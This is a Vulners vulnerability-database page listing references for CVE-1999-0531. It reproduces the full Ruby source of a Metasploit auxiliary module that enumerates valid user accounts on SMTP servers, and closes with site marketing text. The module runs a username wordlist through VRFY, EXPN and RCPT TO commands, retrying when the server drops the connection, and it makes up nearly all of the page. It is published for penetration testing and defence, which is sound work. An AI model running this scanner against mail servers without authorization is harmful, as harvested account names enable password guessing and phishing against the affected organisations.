| Reporter | Title | Published | Views | Family All 6 |
|---|---|---|---|---|
| CVE-1999-0531 | 1 Jan 199905:00 | – | attackerkb | |
| CVE-1999-0531 | 29 May 201815:50 | – | circl | |
| CVE-1999-0531 | 4 Feb 200005:00 | – | cve | |
| CVE-1999-0531 | 4 Feb 200005:00 | – | cvelist | |
| SMTP User Enumeration Utility | 21 Jul 201015:23 | – | metasploit | |
| CVE-1999-0531 | 1 Jan 199905:00 | – | nvd |
`##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##
class MetasploitModule < Msf::Auxiliary
include Msf::Exploit::Remote::Smtp
include Msf::Auxiliary::Report
include Msf::Auxiliary::Scanner
Aliases = [
'auxiliary/scanner/smtp/enum'
]
def initialize
super(
'Name' => 'SMTP User Enumeration Utility',
'Description' => %q{
The SMTP service has two internal commands that allow the enumeration
of users: VRFY (confirming the names of valid users) and EXPN (which
reveals the actual address of users aliases and lists of e-mail
(mailing lists)). Through the implementation of these SMTP commands can
reveal a list of valid users.
},
'References' =>
[
['URL', 'http://www.ietf.org/rfc/rfc2821.txt'],
['OSVDB', '12551'],
['CVE', '1999-0531']
],
'Author' =>
[
'Heyder Andrade <heyder[at]alligatorteam.org>',
'nebulus'
],
'License' => MSF_LICENSE
)
register_options(
[
Opt::RPORT(25),
OptString.new('USER_FILE',
[
true, 'The file that contains a list of probable users accounts.',
File.join(Msf::Config.install_root, 'data', 'wordlists', 'unix_users.txt')
]),
OptBool.new('UNIXONLY', [ true, 'Skip Microsoft bannered servers when testing unix users', true])
])
deregister_options('MAILTO','MAILFROM')
end
def smtp_send(data=nil)
begin
result=''
code=0
sock.put("#{data}")
result=sock.get_once
result.chomp! if(result)
code = result[0..2].to_i if result
return result, code
rescue Rex::ConnectionError, Errno::ECONNRESET, ::EOFError
return result, code
rescue ::Exception => e
print_error("#{rhost}:#{rport} Error smtp_send: '#{e.class}' '#{e}'")
return nil, 0
end
end
def run_host(ip)
users_found = {}
result = nil # temp for storing result of SMTP request
code = 0 # status code parsed from result
vrfy = true # if vrfy allowed
expn = true # if expn allowed
rcpt = true # if rcpt allowed and useful
usernames = extract_words(datastore['USER_FILE'])
cmd = 'HELO' + " " + "localhost" + "\r\n"
connect
result, code = smtp_send(cmd)
if(not result)
print_error("#{rhost}:#{rport} Connection but no data...skipping")
return
end
banner.chomp! if (banner)
if(banner =~ /microsoft/i and datastore['UNIXONLY'])
print_status("#{rhost}:#{rport} Skipping microsoft (#{banner})")
return
elsif(banner)
print_status("#{rhost}:#{rport} Banner: #{banner}")
end
domain = result.split()[1]
domain = 'localhost' if(domain == '' or not domain or domain.downcase == 'hello')
vprint_status("#{ip}:#{rport} Domain Name: #{domain}")
result, code = smtp_send("VRFY root\r\n")
vrfy = (code == 250)
users_found = do_enum('VRFY', usernames) if (vrfy)
if(users_found.empty?)
# VRFY failed, lets try EXPN
result, code = smtp_send("EXPN root\r\n")
expn = (code == 250)
users_found = do_enum('EXPN', usernames) if(expn)
end
if(users_found.empty?)
# EXPN/VRFY failed, drop back to RCPT TO
result, code = smtp_send("MAIL FROM: root\@#{domain}\r\n")
if(code == 250)
user = Rex::Text.rand_text_alpha(8)
result, code = smtp_send("RCPT TO: #{user}\@#{domain}\r\n")
if(code >= 250 and code <= 259)
vprint_status("#{rhost}:#{rport} RCPT TO: Allowed for random user (#{user})...not reliable? #{code} '#{result}'")
rcpt = false
else
smtp_send("RSET\r\n")
users_found = do_rcpt_enum(domain, usernames)
end
else
rcpt = false
end
end
if(not vrfy and not expn and not rcpt)
print_status("#{rhost}:#{rport} could not be enumerated (no EXPN, no VRFY, invalid RCPT)")
return
end
finish_host(users_found)
disconnect
rescue Rex::ConnectionError, Errno::ECONNRESET, Rex::ConnectionTimeout, EOFError, Errno::ENOPROTOOPT
rescue ::Exception => e
print_error("Error: #{rhost}:#{rport} '#{e.class}' '#{e}'")
end
def finish_host(users_found)
if users_found and not users_found.empty?
print_good("#{rhost}:#{rport} Users found: #{users_found.sort.join(", ")}")
report_note(
:host => rhost,
:port => rport,
:type => 'smtp.users',
:data => {:users => users_found.join(", ")}
)
end
end
def kiss_and_make_up(cmd)
vprint_status("#{rhost}:#{rport} SMTP server annoyed...reconnecting and saying HELO again...")
disconnect
connect
smtp_send("HELO localhost\r\n")
result, code = smtp_send("#{cmd}")
result.chomp!
cmd.chomp!
vprint_status("#{rhost}:#{rport} - SMTP - Re-trying #{cmd} received #{code} '#{result}'")
return result,code
end
def do_enum(cmd, usernames)
users = []
usernames.each {|user|
next if user.downcase == 'root'
result, code = smtp_send("#{cmd} #{user}\r\n")
vprint_status("#{rhost}:#{rport} - SMTP - Trying #{cmd} #{user} received #{code} '#{result}'")
result, code = kiss_and_make_up("#{cmd} #{user}\r\n") if(code == 0 and result.to_s == '')
if(code == 250)
vprint_status("#{rhost}:#{rport} - Found user: #{user}")
users.push(user)
end
}
return users
end
def do_rcpt_enum(domain, usernames)
users = []
usernames.each {|user|
next if user.downcase == 'root'
vprint_status("#{rhost}:#{rport} - SMTP - Trying MAIL FROM: root\@#{domain} / RCPT TO: #{user}...")
result, code = smtp_send("MAIL FROM: root\@#{domain}\r\n")
result, code = kiss_and_make_up("MAIL FROM: root\@#{domain}\r\n") if(code == 0 and result.to_s == '')
if(code == 250)
result, code = smtp_send("RCPT TO: #{user}\@#{domain}\r\n")
if(code == 0 and result.to_s == '')
kiss_and_make_up("MAIL FROM: root\@#{domain}\r\n")
result, code = smtp_send("RCPT TO: #{user}\@#{domain}\r\n")
end
if(code == 250)
vprint_status("#{rhost}:#{rport} - Found user: #{user}")
users.push(user)
end
else
vprint_status("#{rhost}:#{rport} MAIL FROM: #{user} NOT allowed during brute...aborting ( '#{code}' '#{result}')")
break
end
smtp_send("RSET\r\n")
}
return users
end
def extract_words(wordfile)
return [] unless wordfile && File.readable?(wordfile)
begin
File.readlines(wordfile, chomp: true)
rescue ::StandardError => e
elog(e)
[]
end
end
end
`
Data
Build on a solid foundation with Vulners data
We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data
Api
Power your application with Vulners API
The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access
App
Assess and manage vulnerabilities with Vulners tools
Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation